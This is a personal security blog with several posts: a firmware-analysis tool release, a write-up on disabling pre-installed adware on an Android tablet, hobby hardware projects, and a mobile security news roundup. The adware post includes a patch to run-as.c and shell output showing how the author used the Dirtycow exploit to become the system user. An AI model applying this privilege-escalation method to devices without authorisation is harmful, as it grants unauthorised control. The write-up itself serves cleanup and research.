...stuff I do and things I like...

Wednesday, August 07 2019


today we release FwAnalyzer open source, FwAnalyzer is tool for security analysis of firmware images - specifically for firmware images of Linux-based devices. For more details see the blog post I wrote for the company's blog at: Automating Firmware Security with FwAnalyzer.

Later today I will present on how we do Continuous Automated Firmware Security Analysis at Cruise.

Saturday, January 05 2019

Getting 'rid' of pre-installed Malware on my YellYouth Android Tablet

In November I bought a cheap Android Tablet for a wall-mounted display (see this blog post: Android InfoPanel). After a couple of days (or weeks?) suddenly some overlay ads and warnings from Google Play about malicious apps appeared. I didn't have time to investigate so I just tried to close the apps and ads. This got more complicated since all of it was in Chinese. I ended up navigating the menu of what looked like a 3rd-party app store to uninstall an app named Retipuj that was flag by Google Play for ad-fraud. All of this using Google Translate on my phone.

This solution worked for a couple of days. Returning back from my Holiday trip I was greeted by overlay ads once again. Luckily I had some time on my hands to investigate. Here a short write-up.

Part 1, observations and hoping for an easy way out:
    I found one app that I didn't install (com.hero.filter), I uninstalled it via adb uninstall com.hero.filter. I tried Googling the package name but without success.

    Removing the app didn't seem to do anything. Judging by the task bar there still seem to be a number of apps running but checking via Settings/Apps and on the filesystem (/data/apps) no apps are installed. Every now and then a pop-up appears that looks like a 3rd party market trying to download and install apps. Installation is blocked by Google Play (verified apps I assume).

Part 2, looking at processes:
    I found two interesting looking processes net.atlas.utopia and android.hb.uys.pbuild looking at the SeLinux context they seem to be platform apps (u:r:platform_app:s0). These could be candidates (spoiler - they are). Using pm list packages -f I determined that net.atlas.utopia is install in /system/priv-app/Kyz2203 with the data in /data/data/net.atlas.utopia.

    pm list packages -f (only showing some interesting packages):

Part 3, a quick peak into net.atlas.utopia:
    Permissions: this app has like every permission you can think off including install and delete packages, send SMS, read and write any setting and file. Further it has a number of app permissions that correspond to lenovo, oppo, huawei, and htc devices.

    The app registers intent filters for a number of events: boot up, time zone change, packages install/remove, outgoing calls, etc. It basically monitors everything that is going on on the device. Pretty shitty.

    The data directory also contained a dex file with the name whatsappui1.dex. A quick Google search on whatsappui1 has one hit on team cymru's hash list: whatsappui1 with not much details but identify the file as being associated with ad-based malware.

    The most interesting thing I found in this app is the use of a 3rd party library called DroidPlugin. DroidPlugin is a plugin framework for Android that allows to run any third-party apk without installation, modification or repackage. Seems like the perfect tool for malware distribution.

Part 4, a quick peak into android.hb.uys.pbuild:
    Permissions are very similar to the net.atlas.utopia including the permissions corresponding to specific device manufacturers.

    The manifest contains traces of ad related things. The library directory contains libiohook.so. The library contains symbols from Cydia Substrate. The library name appears in various search results that indicate ad related malware.

    The asset directory contains a certificate ky_dsa_public.crt with no interesting issuer. jar file that contains a dex file and two .png files that contain ascii/text.

Part 5, getting rid of it all:
    How do we get rid of pre-installed software? The system partition is read-only so we can't uninstall it! The best idea, that does not involve rooting and flashing new firmware, is disabling the package using the package manager (pm disable net.atlas.utopia) this however requires system privileges. You don't have system privileges without rooting. You can disable apps via Settings but you can only disable them if they are in the list. The ones we want to disable are not in the list.

    How do we get system? The tablet still runs a 3.10.72 kernel so it might be vulnerable to dirtycow. I checked using the tools from timwr and yes it is vulnerable to dirtycow. Using my modified version of run-as as shown in my SafetyNet Talk we can become the system user and disable any package we want by running: pm disable PACKAGE.

    Here the list of packages I disabled, so far no APKs are getting installed and I haven't seen any more ads.

    pm list packages -d

Part 7, Dirtycow trickery:
    As described on my slides you can modify run-as.c from timwr to become any UID with almost any SELinux context (depending on the device's SeLinux policy!). For our purpose we can become any UID and context that we require. Below some notes on how this works.

    Dirtycow lets you overwrite any file that is how you replace /system/bin/run-as with your own binary. The binary cannot be bigger then the one you are overwriting. This might be a problem when you have a very very small run-as (9k in my case).
    1|shell@KT107:/data/local/tmp $ ls -al /system/bin/run-as                      
    -rwsr-s--- root     shell        9444 2018-09-27 03:44 run-as
    The workaround I took was not using ndk-build to build run-as.c and instead manually running arm gcc. This will reduce the binary size due to discarding complier flags used by the ndk. Another solution would be to just load a shared library from run-as to keep the binary size small.

    Once you have my version of run-as you can become (almost) any user.
    shell@KT107:/data/local/tmp $ run-as 1000 u:r:platform_app:s0
    shell@KT107:/data/local/tmp $ id
    uid=1000(system) gid=1000(system) groups=1003(graphics),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:platform_app:s0
    System (UID 1000) allows you to poke around /data/app/* and /data/data. If you want to explore /data/data/APP you need to assume the UID and context of that app.
    shell@KT107:/data/data $ ls -al
    drwxr-x--x u0_a13   u0_a13            u:object_r:app_data_file:s0 net.atlas.utopia
    run-as 10013 u:r:platform_app:s0
    shell@KT107:/data/data $ id
    uid=10013(u0_a13) gid=10013(u0_a13) groups=1003(graphics),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:platform_app:s0
    shell@KT107:/data/data/net.atlas.utopia $ ls -al
    drwx------ u0_a13   u0_a13            2017-12-31 19:00 Plugin
    drwxrwx--x u0_a13   u0_a13            2017-12-31 19:00 app_dex
    drwxrwx--x u0_a13   u0_a13            2017-12-31 19:00 cache
    drwxrwx--x u0_a13   u0_a13            2017-12-31 19:00 databases
    drwx------ u0_a13   u0_a13            2017-12-31 19:00 fankingbox
    lrwxrwxrwx install  install           2015-12-31 19:00 lib -> /data/app-lib/net.atlas.utopia
    drwxrwx--x u0_a13   u0_a13            2019-01-03 15:56 shared_prefs
    -rw------- u0_a13   u0_a13       9572 2019-01-03 15:54 whatsappui1.dex

    Below is my patch for run-as.c. My version sets the UID from the first argument and the SELinux context from the second argument.
    --- run-as-crm.c	2019-01-03 17:54:41.153471054 -0500
    +++ run-as.c	2019-01-03 17:58:39.378353437 -0500
    @@ -28,6 +28,8 @@
     	LOGV("uid %s %d", argv[0], getuid());
    +	int duid = atoi(argv[1]);
     	if (setresgid(0, 0, 0) || setresuid(0, 0, 0)) {
     		LOGV("setresgid/setresuid failed");
    @@ -56,7 +58,7 @@
     				LOGV("dlsym setcon error %s", error);
     			} else {
     				setcon_t * setcon_p = (setcon_t*)setcon;
    -				ret = (*setcon_p)("u:r:shell:s0");
    +				ret = (*setcon_p)(argv[2]);
     				ret = (*getcon_p)(&secontext);
     				LOGV("context %d %s", ret, secontext);
    @@ -66,6 +68,12 @@
     		LOGV("no selinux?");
    +	if (setresgid(duid, duid, duid) || setresuid(duid, duid, duid)) {
    +		LOGV("setresgid/setresuid failed");
    +	}
    +	LOGV("uid %d", getuid());
     	system("/system/bin/sh -i");
    \ No newline at end of file

    Overall I would have preferred to not get pre-installed malware on my Android Tablet as I would rather have spent my time on my InfoPanel app or on other projects. However it was impossible for me to ignore this issue and simply buy a different tablet. Tracking down the malware still was kinda fun. It was the first time I experienced the issue of pre-installed malware first hand. I' also fairly happy that I didn't have to modify the firmware since this would have cost way more time. The most interesting thing I found was definitely the DroidPlugin project that allows running APKs without installing them. I wish I had more time to reverse engineer all the different apps and how they work together. I uploaded a zip file containing most components I talked about in this blog post here: yellyouth.zip.

    I hope I finally disabled all of the components and have an ad free device.

Tuesday, November 27 2018

Android InfoPanel aka Home InfoPanel Redux

In 2007/2008 I built a InfoPanel for my apartment to show me news, the weather and other interesting and fun things. The original InfoPanel was built using a VIA x86 micro ITX board and a 17" touchscreen all fitted in a self made wooden case. The InfoPanel survived until 2012 when I moved to the U.S. It was too old and too big to bring so I dismantled it.

I always missed it and thought about brining it back. For a brief time I used an old Samsung Galaxy Tab 10" but the device was just not right. Starting with a proprietary Samsung USB connecter that didn't allow for nice looking cabling, the device was black and silver so it didn't look too nice on the wall and finally the device was just old and slow. Long story short it only stayed on the wall for a couple of weeks and I just ran a full screened web browser.

The new InfoPanel

Hardware: Android 10" tablet in a white case with a USB connector on the long side.
Software: custom Android app that hides the Android navigation elements and status bar.

    I chose a Yellyouth Android 10" tablet, those tablets are damn cheap (just under $100) but also kinda tricky. The good parts: 4GB ram and a fast processor. The tricky parts: The product description says the resolution is 2560x1600 my device reports that resolution in the system infos but the screen reports 1216x800 pixels. The device does not contain any sensors such as a light or proximity sensor (you will see why that matters later). The GSM modem does not support T-Mobile/AT&T SIM cards, I thought this was a joke but I tried a Google Fi data-only SIM (T-mobile) and the device couldn't connect to any network (this is fine since I only use WiFi).

    I wrote a small Android application that basically shows a full screen webview. I've added a back and reload button to allow returning to the main page from links I clicked. The application hides all system UI (navigation and status bar). The user can swipe from bottom to top or top to bottom to reveal the back and reload buttons. The buttons auto hide after a short timeout. A really basic Android app!

    I wanted to conserve power and turn of the screen when I'm not using the InfoPanel. Luckily saving power is a default function of Android (you can just set the inactivity timeout after which the screen will be dimmed and eventually turned off).

    The catch: how do I turn the screen back on (without pressing the power button - since that is not super practical!)?

    • Motion detection using the camera: several projects exist and I've got it integrated but was not able to get it working while the screen was off (I also didn't want so spent a lot of time on this part)
    • Motion detection using the light sensor: I implemented this using a Nexus 7 tablet, a background service monitors the sensor and wakes up the device once it detects a significant change in brightness - sadly the Yellyouth device does not have a light sensor.
    • Audio activation: the idea is to monitor the ambient noise and wake up the tablet when there is a loud noise (finger snap or clap), I implemented this using a background task that records audio and discards the content and only monitors the amplitude (there is a built-in method in the SDK to query the amplitude!)

All in all a fun weekend/evening project of a few hours.

Saturday, June 23 2018

USB Mass Storage with Network Access

I finally had time and a use case to build this idea that I had some years ago. The idea is pretty simple. I wanted to have a USB flash drive that is network connected to allow adding files remotely while the drive is connected to a device such as a SmartTV. Basically this would allow any device that is capable of reading files from USB flash drive to have access to data stored on the network.

For the first version of this project I used a Raspberry Pi Zero W. The PiZW comes with a USB OTG port, Wifi, and runs of a mini SDcard. So we have USB client (to emulate a USB mass storage device), Wifi (for network connectivity), and the SDcard for the actual storage.

The current implementation basically is a small linux system that takes up a tiny part of the SD card, the rest of the SD card is used to emulate the USB flash drive. The linux system automatically connects to my WiFi network. You can transfer files to the SD card via SCP. The trick of the system is that you can soft plug and un-plug the USB drive via SSH. This means you simply run a command to enable or disable the mass storage emulation, this will look like an plug or un-plug event to the device the PiZW is connected to.

I used Buildroot for this project, I created a repository that allows you to build this entire device for yourself. My Buildroot repository contains all the scripts and settings to enable USB OTG and device switching. The repository can be found here: github.com/crmulliner/usbnetstore.

After finishing this project I found the SanDisk Wireless Stick basically a USB flash drive with built-in Wifi. Sadly it turns out you can't switch between WiFi and USB using their app (it comes with a mobile app). This means as long as it detects a USB connection it will not allow Wifi Access. Therefore, the SanDisk device is not sufficient for my use case.

My SanDisk Wireless Stick also stopped charging after a week or so (and thus became a brick). I disassembled it and found that the storage is provided by a SD card. The device is actually made by AirStash and sadly does NOT run Linux and therefore is not easily modifiable.

Below some pictures of this project:

One USB connector for power and one USB connector for the flash drive.

I'm now working on the second version of this project.

Sunday, April 15 2018

Taking a Break from Blogging

It has been a while since I wrote anything on this blog (October 2017 to be specific) and it will be a bit until I start doing blog posts on a regular basis again. This has multiple reasons. First, I'm not doing the mobile security update anymore since I have kinda stopped working in mobile security space. Second, I'm working on super fun things at the moment and therefore don't have time or energy to work on side projects. Some in progress long term projects will be continued. Third, I will likely attend fewer conferences this year since I'm spending time on different aspects of security research.

I will likely blog about random things every now and then.


Friday, January 26 2018

Third Party Android App Stores

I wrote an article for the Parallax about the security of third party Android app stores.

Tuesday, October 24 2017

Mobile Security News Update October 2017

    PacSec Nov 1-2, Tokyo, Japan. Grandma's old bag, how outdated libraries spoil Android app security by Marc Schoenefeld. When encryption is not enough: Attacking Wearable - Mobile communication over BLE by Kavya Racharla. The Art of Exploiting Unconventional Use- after-free Bugs in Android Kernel by Di Shen.

    DeepSec Nov 14-17, Vienna, Austria. Normal Permissions In Android: An Audiovisual Deception by Constantinos Patsakis.


Quick conference review: both 44con and ekoparty were great. Ekoparty was especially awesome since I got to check the last continent off my list. Also the size of ekoparty was way beyond what I was expecting. They managed to have a really good conference that is professionally run while stilling maintaining the vibe of a hacker / underground con <3

Two weeks ago there was a post on Medium about two companies that provide a mobile identification service. That service basically can be used to convert your phone's IP address into real information about the owner of the phone (the contract owner). This is done via APIs that are provided by multiple Mobile Network Operators (such as AT&T). The medium article linked to demo pages of those two service providers (payfone and danal inc) that show not only your phone number but also your operator's name, your name and address.

I played with the two demo sites for a bit (while they were still online - offline now). I'm on Google Fi with a number proted from T-Mobile (pre-paid). Payfone only had my phonenumber and old carrier (T-Mobile) while Danal inc showed no data at all. I never provided any data to T-Mobile since it is not required for a pre-paid card. Google has all the data but likely does not share it with 3rd parties.

Overall this is a service that I really don't want to exist. I don't want an abritary company to be able to identify me while visiting their website from my mobile phone. I hope those companies don't just sell their services to anybody. Read the Medium article again: AT&T consumer choice opt-out doesn't affect this!

iOS 11 the tragedy continues: 11.0 had a bunch of flaws that were annyoing. Now 11.0.3 randomly frezzes my phone for minutes. Also I have some issues with voice call audio not working sometimes. Highly disaspointing!

Pictures of the month: